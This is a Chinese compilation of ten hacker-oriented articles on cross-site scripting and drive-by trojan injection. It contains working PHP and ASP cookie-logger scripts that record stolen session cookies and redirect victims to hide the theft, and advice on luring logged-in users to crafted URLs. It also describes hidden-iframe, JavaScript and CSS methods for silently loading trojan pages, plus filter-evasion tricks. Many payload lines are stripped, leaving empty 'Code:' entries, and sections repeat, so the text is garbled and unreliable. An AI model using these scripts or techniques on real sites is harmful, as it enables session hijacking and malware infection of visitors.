下面是小编为大家整理的寻找最短的跨站代码脚本安全,本文共10篇,仅供参考,大家一起来看看吧。本文原稿由网友“我爱吃烤肉”提供。
篇1:寻找最短的跨站代码脚本安全
最短的跨站语句是多少?要放在以前,我一定会这样想,正常的跨站代码:
查一下,一共27个字符,嘿嘿,不过,这之前我在《 手册》上看到了他的一篇文章,《疯狂的跨站之行》,在这其中提到了跨站语句的另一种方法:
将这些语句分别写入,只要所写入的语句在一个页面中显示,那么这些代码最后就会引入到变量z中,总到一块就是:
1
document.write(“”)
然后用eval函数来执行这个z变量,就可以执行出跨站效果了,
lcx在文章的评论中说,最小的有效利用代码可以是26个字母,
就是
,
答案不就出来了,最小的跨站是26个字符。
(今天在网上查找资料时,发现利用这种方法还可以少一个字符,就是:
,
用+=来代替=z+,嘿嘿,又可以减少一个字符,25个字符,
不过,也好伤心,我好像只能在别人的基础上面有所突破!:( )。
下面就来进行拆分:
中间的….表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。
篇2:跨站脚本执行漏洞代码的六点思路脚本安全
1. 构造一个提交,目标是能够显示用户Cookie信息:
www.xxxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
www.xxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6
$info = getenv(“QUERY_STRING”);
if ($info) {
$fp = fopen(“info.txt”,“a”);
fwrite($fp,$info.“\\n”);
fclose($fp);
}
header(“Location: www.xxx.net”);
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理,篇3:跨站脚本执行漏洞代码的几点思路
,
后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
4.
5. 就可以自己构造一个下面的头像文件:
thiz.gif
6.新建一个x.gif,内容如下:
篇4:跨站脚本攻防之道脚本安全
作者:Xylitol
译者:riusksk( 泉哥)
摘要:
1> 何为跨站(XSS)?
2> 存在跨站的代码
3> Cookie劫持
4> XSS防御
5 破坏方式
6 绕过字符过滤
7 Flash攻击
8 上传文件XSS
9 跨站钓鱼
何为跨站(XSS)?
XSS又叫CSS(Cross Site Script) ,跨站脚本攻击(译注:因为Cross Site Script的缩写是CSS,但CSS在网页设计领域中已经被广泛地层叠样式表,所以将Cross改为以发音相近的X作为缩写,但早期的文件还是会使用CSS来表示跨站脚本),它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。攻击者得到更高的权限后,可以利用存在漏洞的ActiveX控件,欺骗受害者浏览恶意站点来悄悄地在对方的的电脑上安装恶意软件(如间谍软件,远程控制软件,蠕虫等),也可以窃取机密的网页内容,会话的cookie以及许多其它信息。
2.存在XSS的代码
打开记事本,复制并粘贴以下脚本代码:
Simple XSS vulnerability by Xylitol
Simple XSS vulnerability by Xylitol
Search:
关键代码:
Search result :
echo $_POST['Vulnerability'];
?>
By:
Search result :
if(isset($_POST['Vulnerability']))
{
echo htmlentities($_POST['Vulnerability']);
}
?>
篇5:cookie.txt脚本适合,跨站,脚本安全
<%
dim fs,log,logname,event
logname=“cookie_”& now & “.txt”
logname=replace(logname,“ ”,“_”)
logname=replace(logname,“-”,“_”)
logname=replace(logname,“:”,“.”)
logname=server.mappath(logname)
set event=request.servervariables(“QURYU_SRTING”)
set fs=server.createobject(“scripts.filesystemobject”)
log=fs.createtextfile(logname)
log.writeline event
log.close
set fs=nothing
reponse.redirect(“www.wolfexp.net/forum/index.php”)
%>
篇6:跨站脚本执行漏洞代码的六个方法
style=“display:block;padding:0px 10px;” class=“ContentFont”>
下面是六条:
1. 构造一个提交,目标是能够显示用户Cookie信息:
www.xxxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
www.xxx.net/txl/login/login.pl?username=&passwd=&ok.x=28&ok.y=6
其中www.xxx.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
$info = getenv(“QUERY_STRING”);
if ($info) {
$fp = fopen(“info.txt”,“a”);
fwrite($fp,$info.“\\n”);
fclose($fp);
}
header(“Location: www.xxx.net”);
注:“%2B”为“+”的URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理,
跨站脚本执行漏洞代码的六个方法
,
后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
4.
5. 就可以自己构造一个下面的头像文件:
thiz.gif
6.新建一个x.gif,内容如下:
篇7:跨站挂马全攻略脚本安全
题记:这是我在《 X档案》第5期发表的一篇文章,对跨站与挂马做了比较全面而深入的讲解,
请注明版权:a1pass.blog.163.com/ A1Pass 《 X档案》
现在的 攻击手法中,跨站挂马似乎正在逐渐成为攻击的主流话题,鉴于这种形势,俺就把我学习跨站挂马的一点心得总结出来与大家分享。
由于考虑到知识的认知过程以及入门朋友们的技术底子问题,本文将分为“基础知识”、“跨站漏洞”与“挂马技巧”三部分组成,咱们先来学习一下基础知识,以及跨站攻击的利用方法。
一、基础知识
1、什么是UBB码
XSS攻击主要在两种环境下进行,一个是用户自己构造的比标签,构造者汇总标签要严格遵循HTML标记语言,而UBB码是HTML的一个变种,属于系统提供的标签。UBB代码简单,功能很少,但是由于其TAG语法检查实现非常容易,所以许多网站引用了这种代码,以方便广大网友的使用,当然,同时也为我们打开了方便之门。
下面我列出几个例子,以便大家对UBB码有一个感性的认识。
显示为粗体效果:文字
显示为斜体效果:文字
显示文字的超链接:[URL= www.hackerxfiles.net/] X档案官方站[/ URL]
通过上面的例子,我们可以看出来UBB码用的是中括号标签“[”与“]”。
为什么介绍这些?因为关键时候,我们借助UBB码也可以达到跨站的效果。
2、什么是HTML输入
大家看到这的时候,有条件的可以打开X档案的网站看看,我们在IE浏览器的页面中单击右键,选择“察看源文件(V)”选项,如图1。
然后就会弹出如图2那样一个以首页文件命名的记事本。
我们可以看见里面的代码都是用“<”与“>”括起来的,而这个“<”与“>”分别就是HTML的开始与结束标记。例如我们输入、<“width=”120“ height=”120“ />三个单独的语句,我们可爱的
&{[code]} [N4浏览器]
[N4浏览器]
[N4浏览器]
[IE浏览器]
[Mozilla浏览器]
[IE浏览器]
[\\xCO][\\xBC]script.>[code][\\xCO][\\xBC]/script.> [UTF-8;IE;Opera浏览器]
上面的内容是我参考安全焦点出版的《网络渗透技术》做的摘录。
五、挂马技术
对于挂马,强烈要求大家带着学习的目的去钻研,不要拿出去害自己的同胞……
1、什么是挂马
最近看中央电视台的一个有关于 的节目,字幕上竟然把“挂马”显示成“挂码”!估计是对 技术不了解所致。但是也可以看得出来大家对于挂马技术的陌生。
其实通过名字就可以知道一二,挂马就是指一种将木马程序“挂”到大家比较信赖的网站上,从而使得浏览此网站的网民电脑被非法植入木马的行为。
如果挂马技术比较成熟,被挂马的网站服务人员与浏览此网站的网民一般很难察觉!所以说挂马具有隐藏性好,危害巨大的特点,大家试想一下,如果百度首页被挂马,那么后果会怎样?只需1天就会有上千万人的电脑被非法控制!
2、挂马的原理
关于挂马技术,与XSS基本一致,但貌似比XSS技术的门槛低。而就夸马的方式来说,一个是通过漏洞挂马(例如XSS),一个是通过拥有的绝对权限挂马,例如我们利用WEBShell进行批量挂马。但是不管是利用什么方法,只有我们有良好的挂马代码才会获得比较好的效果……
挂马的基本思想就是利用本地溢出漏洞构造下载执行的ShellCode,从而下载并执行指定的程序,如图8。
关于溢出漏洞,可以是IE本身存在的漏洞,可以是与IE有联系的漏洞,例如WORD、FILASH、WMA音频等等,
3、挂马实战
挂马于XSS一样,都有一个“基本代码”,而挂马的基本代码则是:
通过上面的学习,相信入门的朋友对HTML已经有点了解了吧?我们可以看到这是一个包含< ifarme>标签的代码,< ifarme>标签是用来在网页内嵌入另一个页面的,如图9就是一嵌入页面。
通过代码我们很容易就能知道他嵌入的是一个宽[width]为500像素,高[height]为100像素的页面,通过对比,我们可以发现本文例子的宽和高都是0,这就起到了隐藏访问木马网页的目的。
但是现在稍微有点安全常识的人都知道查找关键字ifarme了,所以要实行有效的挂马,最好是使用其它的挂马技巧。而另外一个常用的方法就是JS挂马了,这里的JS和我们上面谈到的JavaScript一样,JS挂马当然是先创建JS文件,我们先建一个记事本,将以下代码输入到里面。
Top.document.body.innerHTML = top.document.body.innerHTML +’\\r\\n
然后依次选择“文件”>“另存为(A)…”保存为.js文件,如图10。将其上传到你所能控制的服务器中。
现在我们只要在那个网页中插入< script src=你的JS文件保存地址>,以后只要有人浏览这个页面就会偷偷的转向我们JS文件里的www.***.com/muma.htm,从而达到挂马的目的。
这种方法很好的避开了关键字ifarme,只要我们的JS文件的名称起的具有迷惑性,一般的应该都可以蒙混过关。如果还想要更加隐蔽的方式,那就只有使用CSS来挂马了。
通过上面的文章大家应该对CSS有所了解,CSS是层叠式样式表的简称,也就是说我们可以利用层叠式样式表来挂马,熟悉网页设计的都知道,凡是比较复杂漂亮的页面,一般都要用到层叠式样式表,而且层叠式样式表的代码繁杂,从而有效地掩护了我们的挂马代码。
我们只要在CSS文件中包含以下代码即可。
Body{
Hytop: expression(op.document.body.innerHTML = top.document.body.innerHTML +’\\r\\n
}
然后在我们要挂马的页面引用这个CSS文件就可以了,引用代码如下。
有了这三种方法撑腰,你的网马挂的应该算是比较成熟了,但是除此之外,我们还有其它比较另类的挂马方法,正可谓剑走偏锋,出其不意!
第一个要介绍的就是“臭要饭的”写的“IcodeToSWF”,它可以将我们的网页木马地址插入到SWF文件里,当别人兴高采烈的观看动画时,他已经成为我们粥中的肉鸡了!
关于IcodeToSWF的使用方法非常简单,我们代开文件后选择需要插马的SWF文件,然后输入我们的目马网址点击“给我插”就可以了,如图11。
最近总是听说网易博客中毒了!一听吓我一大跳!网易的BLOG还没智能到可以运行病毒的程度吧?最后经过调查发现,原来是WMA文件 了木马!
于是乎淘到了一款傻瓜化的WMA插马工具,我们只需输入木马地址与音乐地址保存即可,如图12。
不过这个工具毛病很多,例如WMA音乐的地址最好手动输入,不要粘贴,否则会出问题……
关于挂马就想讲到这里了,结束前在告诉大家一个技巧,关于HTML文件远程访问时我们可以将后缀名改为其它的,例如www.***.com/muma.jpg或www.***.com/muma.abcd都可以正常执行!除了HTML文件,JS文件也可以这样随意改动后缀名,甚至无后缀名都可以!
关于挂马,我最后要说的一句话就是“害人终害己”,切记!
到这里文章全部结束了,本想讲的更加详细一些,涉及的更广一些,但是想到憧憧不知的菜鸟们,使我努力将文章难度降低,以便于入门朋友的学习。关于这片文章,入门的朋友们不要看到代码就头大,其实大多数只是改个网址就可以应用的,为了方便广大读者,我已经将本文涉及到的所有应用代码整理初来,详情请见光盘。
由于时间仓促,本文难免有错误之处,还请广大读者指正!我的ID是a1pass,大家可以到X档案的论坛找我。
××××××××××××××××××××××××××××××××××××××
A1Pass后记:这其实是我6月写的文章了,但是一直到08年5月才发表,不过个人认为里面还是有一些东西值得各位读者去学习的。
转载请注明版权:a1pass.blog.163.com/ A1Pass 《 X档案》
篇8:安全测试跨站脚本攻击(xss)脚本安全
跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞,跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
最常见的跨站脚本的方法,输入
以及它的各种变体
实体
%3Cscript%3Ealert(1)%3C/script%3E URL编码
或者 ;等 如果提交后,页面弹出警告框,则该页面存在xss漏洞 *反射型xss 通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果 如:一段代码 //location.search返回url?开始的部分 当输入以下url ”127.0.0.1/attrck.html?search=222“ 页面将显示:?search=222 ;但url中如果输入 /?search= 则页面的实际代码为: document.write(?search=); 将弹出警告框,即代码被执行了,而并非页面原来显示?后字符串的效果 可以使用伪造后的url获取用户cookie
127.0.0.1/attrck.html?search=
因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
*保存型xss
是指将恶意代码保存到服务器,比如发布一篇包含恶意代码,其他用户浏览时将执行恶意脚本
*基于dom的xss
严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\\document.writeln\\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等,
篇9:XSS(跨站脚本攻击) 逃避过滤脚本安全
XSS(跨站脚本攻击) 备忘录
逃避过滤
出处:ha.ckers.org/xss.html
作者:RSnake
翻译:帝释天
如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助,这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的细节问题的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。
(介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)
不分大小写引起的XSS
Code:
包含HTML字符
Code:
沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞)
Code:
畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。
Code: ”>
fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。
Code:
UTF-8编码
Code:
Long UTF-8 编码可以不使用分号,这样绕过一些正则检查
Code:
没有分号的Hex编码
Code:
嵌入TAB键进行攻击
Code:
嵌入编码过后的TAB键
Code:
嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。
Code:
Code:
Code:
SRC
=
“
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
”
>
NULL字符能逃避很多过滤系统
Code: perl -e 'print “”;' >out
Code: perl -e 'print “
多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内的工作,而不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制止JavaScript错误:
Code: <
未关闭的标签
Code:
各种其他的标签
Code:
Code:
Code:
Code:
Code:
Code:
(netspace)
Code:
Code:
Code:
Code:
Code:
Code:
Code:
XSSCode: (netscape only)
Code: (netscape only)
Code:
Code:
Code:
Code:
Code:
US_ASCII编码(库尔特发现),
使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。
Code: ?scriptualert(EXSSE)?/scriptu
META协议
Code:
Code:
Code:
对DIV进行unicode编码
Code:
使用expression属性
Code:
STYLE标签
Code:
Code:
Code:
Code:
OBJECT标签
Code:
Code:
EMBED标签
Code:
Code:
在flash文件中使用如下代码:
Code: a=”get“;
b=”URL(\\“”;
c=“javascript.:”;
d=“alert('XSS');\\”)“;
eval(a+b+c+d);
XML namespace可以引入行为文件htc但是必须在同一服务器上
Code:
Xss.htc:
使用CDATA模糊化的XML数据岛
Cdoe:
XML数据岛
Code:
Code:
(xsstest.xml)必须同域下
HTML+ TIME
Code:
UTF7编码
Code:
防止二次执行的expression语句
篇10:跨站提取cookie的原理脚本安全
个人理解为跨站就意味着可以执行javascript代码,javascript利用Document文档对象的cookie属性就获取到了cookie,然后就可能利用cookie欺骗登陆,
跨站提取cookie的原理 等价于
如何从在浏览器中获取cookie + 发送cookie到指定url
比如:
“>
依次使用了:
1.浏览器的DOM对象的cookie属性,获得了cookie值
2.将cookie值作为参数传递给localhost服务器上的test.php脚本,使用的是GET方式提交数据
3.利用document.location进行跳转,实际就是通过url访问实现数据提交
而test.php中的内容类似于:
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv (‘REMOTE_ADDR’); //远程主机IP地址
$time=date(‘Y-m-d g:i:s’); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv (‘HTTP_REFERER’); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
$fp = fopen(‘cookie.txt’, ’a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,” IP: ” .$ip. ”\\n Date and Time: ” .$time. ”\\n User Agent:”.$agent.”\\n Referer: ”.$referer.”\\n Cookie: ”.$cookie.”\\n\\n\\n”); //写入文件
fclose($fp); //关闭文件
header(“Location: www.baidu.com”); //将网页重定向到百度,增强隐蔽性
?>
这些用户数据来源于HTTP数据包中的浏览器头部信息
- HOW TO GET PHPCMS WEBSHELL脚本安全2024-04-06
- 用PHP 4.2书写安全的脚本PHP2023-04-10
- 怎样用SQL生成XML脚本安全2023-01-13
- 知乎一个存储型跨站漏洞及修复2023-09-01
- thinkphp框架下mysql注入脚本安全2023-07-19
- python字符串处理常用技巧脚本安全2022-12-14
- 加气站安全宣传口号2024-10-31
- 某网站安全检测之数据库手工注入脚本安全2023-05-31
- 如何用IIS防火墙清除“挂马”代码?WEB安全2023-01-13
- 靶场多站制安全控制体制研究2023-12-05